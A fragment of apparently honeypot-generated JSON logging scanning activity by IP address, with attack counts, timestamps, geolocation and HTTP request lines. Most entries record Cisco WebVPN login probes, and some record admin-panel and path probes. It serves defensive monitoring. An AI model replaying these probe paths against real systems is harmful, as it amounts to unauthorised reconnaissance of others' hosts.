      "first_seen": "2026-05-30T09:19:13.284Z",
      "last_seen": "2026-05-30T09:19:26.336Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "80.67.167.81": {
      "attack_count": 7,
      "first_seen": "2026-05-24T01:22:22.379Z",
      "last_seen": "2026-05-24T01:22:31.076Z",
      "ports": [],
      "event_types": [
        "\"GET /main.php.2?2qwe HTTP/1.1\" 404 -",
        "\"GET /panel/atmin/config.php?aca HTTP/1.1\" 404 -",
        "\"GET /panel/main.php?11 HTTP/1.1\" 404 -",
        "\"GET /panel/main.php?126 HTTP/1.1\" 404 -",
        "\"GET /panel/main.php?x HTTP/1.1\" 404 -",
        "\"GET /panel/main.php?x3 HTTP/1.1\" 404 -",
        "\"GET /panel/webadmin.php?zx HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "France",
      "country_code": "FR",
      "city": "Paris",
      "asn": 2027,
      "as_org": "MilkyWan Association"
    },
    "192.42.116.17": {
      "attack_count": 6,
      "first_seen": "2026-05-24T01:17:10.678Z",
      "last_seen": "2026-05-24T01:17:27.786Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /recordings/index.php HTTP/1.1\" 404 -",
        "\"POST /admin/ajax.php?module=blacklist HTTP/1.1\" 200 -",
        "\"POST /admin/ajax.php?module=music HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": null,
      "asn": 215125,
      "as_org": "Church of Cyberology"
    },
    "23.234.108.80": {
      "attack_count": 6,
      "first_seen": "2026-05-08T20:39:50.032Z",
      "last_seen": "2026-05-20T19:45:50.048Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Atlanta",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.116.150": {
      "attack_count": 6,
      "first_seen": "2026-05-19T04:42:31.699Z",
      "last_seen": "2026-05-20T16:51:37.633Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.76.199": {
      "attack_count": 6,
      "first_seen": "2026-05-09T13:17:51.233Z",
      "last_seen": "2026-05-31T03:15:50.920Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Raleigh",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.91.73": {
      "attack_count": 6,
      "first_seen": "2026-05-19T02:23:24.999Z",
      "last_seen": "2026-05-27T22:11:17.705Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Phoenix",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.96.39": {
      "attack_count": 6,
      "first_seen": "2026-05-05T19:42:40.812Z",
      "last_seen": "2026-05-26T02:10:42.703Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "103.102.246.66": {
      "attack_count": 3,
      "first_seen": "2026-05-04T19:59:40.709Z",
      "last_seen": "2026-05-04T19:59:50.334Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 203020,
      "as_org": "HostRoyale Technologies Pvt Ltd"
    },
    "103.81.231.74": {
      "attack_count": 3,
      "first_seen": "2026-05-26T00:59:48.391Z",
      "last_seen": "2026-05-26T00:59:55.593Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 203020,
      "as_org": "HostRoyale Technologies Pvt Ltd"
    },
    "13.221.239.87": {
      "attack_count": 3,
      "first_seen": "2026-05-03T01:01:27.322Z",
      "last_seen": "2026-05-14T00:56:27.562Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "146.70.166.157": {
      "attack_count": 3,
      "first_seen": "2026-05-04T17:37:32.534Z",
      "last_seen": "2026-05-04T17:37:41.617Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 9009,
      "as_org": "M247 Europe SRL"
    },
    "23.234.110.66": {
      "attack_count": 3,
      "first_seen": "2026-05-06T01:20:22.542Z",
      "last_seen": "2026-05-06T01:20:31.619Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Atlanta",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.96.74": {
      "attack_count": 3,
      "first_seen": "2026-05-07T04:22:25.813Z",
      "last_seen": "2026-05-07T04:22:36.132Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "104.152.52.110": {
      "attack_count": 2,
      "first_seen": "2026-05-26T00:47:18.894Z",
      "last_seen": "2026-05-26T00:47:19.504Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 14987,
      "as_org": "Rethem Hosting LLC"
    },
    "159.65.231.124": {
      "attack_count": 2,
      "first_seen": "2026-05-27T19:03:37.809Z",
      "last_seen": "2026-05-27T19:03:40.810Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC"
    },
    "167.99.1.98": {
      "attack_count": 2,
      "first_seen": "2026-05-23T19:29:30.735Z",
      "last_seen": "2026-05-23T19:29:33.738Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC"
    },
    "185.180.141.47": {
      "attack_count": 2,
      "first_seen": "2026-05-11T06:30:41.171Z",
      "last_seen": "2026-05-11T06:30:41.765Z",
      "ports": [],
      "event_types": [
        "\"GET /sse HTTP/1.1\" 404 -",
        "\"POST /mcp HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "Portugal",
      "country_code": "PT",
      "city": null,
      "asn": 21859,
      "as_org": "Zenlayer Inc"
    },
    "198.235.24.122": {
      "attack_count": 2,
      "first_seen": "2026-05-04T21:06:33.616Z",
      "last_seen": "2026-05-04T21:06:36.619Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC"
    },
    "198.235.24.138": {
      "attack_count": 2,
      "first_seen": "2026-05-17T05:32:35.046Z",
      "last_seen": "2026-05-17T05:32:38.047Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC"
    },
    "198.235.24.232": {
      "attack_count": 2,
      "first_seen": "2026-05-06T04:29:09.550Z",
      "last_seen": "2026-05-06T04:29:12.553Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC"
    },
    "3.21.92.229": {
      "attack_count": 2,
      "first_seen": "2026-05-30T09:20:44.061Z",
      "last_seen": "2026-05-30T09:20:47.062Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Columbus",
      "asn": 16509,
      "as_org": "Amazon.com, Inc."
    },
    "54.86.179.2": {
      "attack_count": 2,
      "first_seen": "2026-05-20T00:56:03.711Z",
      "last_seen": "2026-05-20T00:56:06.713Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "64.62.156.65": {
      "attack_count": 2,
      "first_seen": "2026-05-04T07:52:59.901Z",
      "last_seen": "2026-05-04T07:53:14.337Z",
      "ports": [],
      "event_types": [
        "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -",
        "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "71.6.232.22": {
      "attack_count": 2,
      "first_seen": "2026-05-25T18:24:10.301Z",
      "last_seen": "2026-05-25T18:24:13.304Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 10439,
      "as_org": "CariNet, Inc."
    },
    "18.206.228.253": {
      "attack_count": 1,
      "first_seen": "2026-05-02T00:55:19.986Z",
      "last_seen": "2026-05-02T00:55:19.986Z",
      "ports": [],
      "event_types": [
        "\"GET /robots.txt HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "184.105.247.196": {
      "attack_count": 1,
      "first_seen": "2026-05-10T07:58:23.509Z",
      "last_seen": "2026-05-10T07:58:23.509Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "216.218.206.107": {
      "attack_count": 1,
      "first_seen": "2026-05-15T06:52:06.113Z",
      "last_seen": "2026-05-15T06:52:06.113Z",
      "ports": [],
      "event_types": [
        "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Cazadero",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "216.218.206.115": {
      "attack_count": 1,
      "first_seen": "2026-05-15T06:50:14.281Z",
      "last_seen": "2026-05-15T06:50:14.281Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Cazadero",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "37.49.228.224": {
      "attack_count": 1,
      "first_seen": "2026-05-27T06:19:34.382Z",
      "last_seen": "2026-05-27T06:19:34.382Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": null,
      "asn": 3920,
      "as_org": "PUSHPKT OU"
    },
    "54.221.33.251": {
      "attack_count": 1,
      "first_seen": "2026-05-23T00:56:05.582Z",
      "last_seen": "2026-05-23T00:56:05.582Z",
      "ports": [],
      "event_types": [
        "\"GET /robots.txt HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "54.236.18.154": {
      "attack_count": 1,
      "first_seen": "2026-05-27T00:59:33.571Z",
      "last_seen": "2026-05-27T00:59:33.571Z",
      "ports": [],
      "event_types": [
        "\"GET /favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "54.242.39.252": {
      "attack_count": 1,
      "first_seen": "2026-05-19T00:55:30.503Z",
      "last_seen": "2026-05-19T00:55:30.503Z",
      "ports": [],
      "event_types": [
        "\"GET /favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "64.62.156.186": {
      "attack_count": 1,
      "first_seen": "2026-05-18T07:48:29.729Z",
      "last_seen": "2026-05-18T07:48:29.729Z",
      "ports": [],
      "event_types": [
        "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "64.62.197.184": {
      "attack_count": 1,
      "first_seen": "2026-05-07T10:45:41.805Z",
      "last_seen": "2026-05-07T10:45:41.805Z",
      "ports": [],
      "event_types": [
        "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "65.49.1.201": {
      "attack_count": 1,
      "first_seen": "2026-05-25T10:18:11.238Z",
      "last_seen": "2026-05-25T10:18:11.238Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "91.231.89.253": {
      "attack_count": 1,
      "first_seen": "2026-05-07T03:21:18.375Z",
      "last_seen": "2026-05-07T03:21:18.375Z",
      "ports": [],
      "event_types": [
        "\"GET /favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "France",
      "country_code": "FR",
      "city": "Gravelines",
      "asn": 213412,
      "as_org": "ONYPHE SAS"
    },
    "98.88.17.26": {
      "attack_count": 1,
      "first_seen": "2026-05-13T01:04:02.276Z",
      "last_seen": "2026-05-13T01:04:02.276Z",
      "ports": [],
      "event_types": [
        "\"GET /robots.txt HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "193.8.186.14": {
      "attack_count": 1389,
      "first_seen": "2026-05-11T00:46:18.057Z",
      "last_seen": "2026-05-13T02:51:59.043Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 201002,
      "as_org": "PebbleHost Ltd"
    },
    "178.130.47.228": {
      "attack_count": 80,
      "first_seen": "2026-05-31T00:50:05.623Z",
      "last_seen": "2026-05-31T05:18:06.004Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Phoenix",
      "asn": 215540,
      "as_org": "Global Connectivity Solutions Llp"
    },
    "68.235.46.143": {
      "attack_count": 48,
      "first_seen": "2026-05-03T10:49:13.368Z",
      "last_seen": "2026-05-27T10:12:05.522Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.75.207": {
      "attack_count": 42,
      "first_seen": "2026-05-07T01:33:48.603Z",
      "last_seen": "2026-05-29T20:30:10.427Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "155.2.191.32": {
      "attack_count": 36,
      "first_seen": "2026-05-02T08:45:41.584Z",
      "last_seen": "2026-05-29T16:33:26.090Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 136557,
      "as_org": "Host Universal Pty Ltd"
    },
    "23.234.93.195": {
      "attack_count": 36,
      "first_seen": "2026-05-03T17:24:55.848Z",
      "last_seen": "2026-05-26T09:07:45.428Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "San Jose",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.72.76": {
      "attack_count": 33,
      "first_seen": "2026-05-02T01:43:03.475Z",
      "last_seen": "2026-05-31T04:52:27.505Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "173.249.255.207": {
      "attack_count": 30,
      "first_seen": "2026-05-10T03:19:36.699Z",
      "last_seen": "2026-05-28T00:54:25.582Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.81.194": {
      "attack_count": 30,
      "first_seen": "2026-05-04T15:48:06.802Z",
      "last_seen": "2026-05-30T04:36:07.814Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Seattle",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.89.195": {
      "attack_count": 30,
      "first_seen": "2026-05-03T15:03:19.665Z",
      "last_seen": "2026-05-09T00:00:23.711Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Phoenix",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "103.102.247.207": {
      "attack_count": 27,
      "first_seen": "2026-05-02T03:24:03.440Z",
      "last_seen": "2026-05-29T09:34:56.236Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "Japan",
      "country_code": "JP",
      "city": "Tokyo",
      "asn": 203020,
      "as_org": "HostRoyale Technologies Pvt Ltd"
    },
    "23.234.105.164": {
      "attack_count": 27,
      "first_seen": "2026-05-05T04:54:34.341Z",
      "last_seen": "2026-05-30T15:18:24.527Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.113.68": {
      "attack_count": 27,
      "first_seen": "2026-05-07T02:32:46.396Z",
      "last_seen": "2026-05-26T09:58:55.799Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Salt Lake City",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.90.200": {
      "attack_count": 27,
      "first_seen": "2026-05-03T16:24:06.647Z",
      "last_seen": "2026-05-30T13:18:40.820Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Phoenix",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.74.81": {
      "attack_count": 25,
      "first_seen": "2026-05-05T06:32:07.690Z",
      "last_seen": "2026-05-30T13:48:38.803Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.100.68": {
      "attack_count": 24,
      "first_seen": "2026-05-03T02:01:25.460Z",
      "last_seen": "2026-05-20T18:12:18.703Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.113.207": {
      "attack_count": 24,
      "first_seen": "2026-05-05T03:14:18.622Z",
      "last_seen": "2026-05-25T12:20:10.041Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Salt Lake City",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.89.73": {
      "attack_count": 24,
      "first_seen": "2026-05-03T03:05:57.040Z",
      "last_seen": "2026-05-22T13:53:07.793Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Phoenix",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "153.80.115.84": {
      "attack_count": 21,
      "first_seen": "2026-05-26T18:11:00.060Z",
      "last_seen": "2026-05-31T04:14:38.136Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Knoxville",
      "asn": 204957,
      "as_org": "Green Floid LLC"
    },
    "166.1.255.14": {
      "attack_count": 21,
      "first_seen": "2026-05-27T19:12:31.154Z",
      "last_seen": "2026-05-30T02:36:48.046Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
